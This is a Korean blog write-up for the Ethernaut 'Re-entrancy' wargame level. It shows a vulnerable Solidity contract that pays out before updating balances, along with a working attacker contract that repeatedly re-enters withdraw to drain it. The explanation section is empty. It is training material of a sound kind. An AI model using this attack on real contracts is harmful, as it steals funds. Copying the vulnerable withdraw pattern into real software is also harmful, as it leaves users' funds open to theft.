본문 바로가기

블록체인/Ethernaut

[Ethernaut] 10. Re-entrancy

소스코드

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.0;

import '@openzeppelin/contracts/math/SafeMath.sol';

contract Reentrance {
  
  using SafeMath for uint256;
  mapping(address => uint) public balances;

  function donate(address _to) public payable {
    balances[_to] = balances[_to].add(msg.value);
  }

  function balanceOf(address _who) public view returns (uint balance) {
    return balances[_who];
  }

  function withdraw(uint _amount) public {
    if(balances[msg.sender] >= _amount) {
      (bool result,) = msg.sender.call{value:_amount}("");
      if(result) {
        _amount; //means nothing.
      }
      balances[msg.sender] -= _amount;
    }
  }

  receive() external payable {}
}

 

 

목표

컨트랙트의 잔고를 0으로 만들어야한다.

 

방법

// SPDX-License-Identifier: MIT
pragma solidity ^0.6.10;

import "./Reentrance.sol";

contract ReentrancyAttack {
    Reentrance target;
    uint amount;
    constructor(address payable _target) public payable {
        target = Reentrance(_target);
        amount = 0.001 ether;
    }

    function donate() public{
        target.donate{value: amount, gas : 4000000}(address(this));
    }

    function attack() public {
        target.withdraw(amount);
    }

    function getContarctBalance() public view returns(uint) {
        return address(this).balance;
    }

    receive() external payable {
        require(address(target).balance >= 0);
        target.withdraw(amount);
    }
    

}

 

해설

'블록체인 > Ethernaut' 카테고리의 다른 글

[Ethernaut] 12. Privacy  (0) 2022.06.07
[Ethernaut] 11. Elevator  (0) 2022.06.06
[Ethernaut] 9. King  (0) 2022.06.04
[Ethernaut] 8. Vault  (0) 2022.06.01
[Ethernaut] 7. Force  (0) 2022.05.31